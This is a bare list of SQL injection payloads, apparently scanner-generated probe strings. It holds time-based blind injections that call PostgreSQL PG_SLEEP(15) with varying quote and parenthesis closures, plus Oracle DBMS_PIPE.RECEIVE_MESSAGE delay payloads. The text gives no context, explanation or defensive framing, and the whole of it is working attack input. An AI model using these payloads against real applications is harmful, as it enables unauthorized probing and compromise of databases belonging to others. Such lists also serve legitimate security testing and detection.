555-1 OR 93=(SELECT 93 FROM PG_SLEEP(15))--

555-1) OR 371=(SELECT 371 FROM PG_SLEEP(15))--

555-1)) OR 528=(SELECT 528 FROM PG_SLEEP(15))--

555taTre8M1' OR 296=(SELECT 296 FROM PG_SLEEP(15))--

55513IVnm0C') OR 853=(SELECT 853 FROM PG_SLEEP(15))--

5556LWnwpqf')) OR 113=(SELECT 113 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555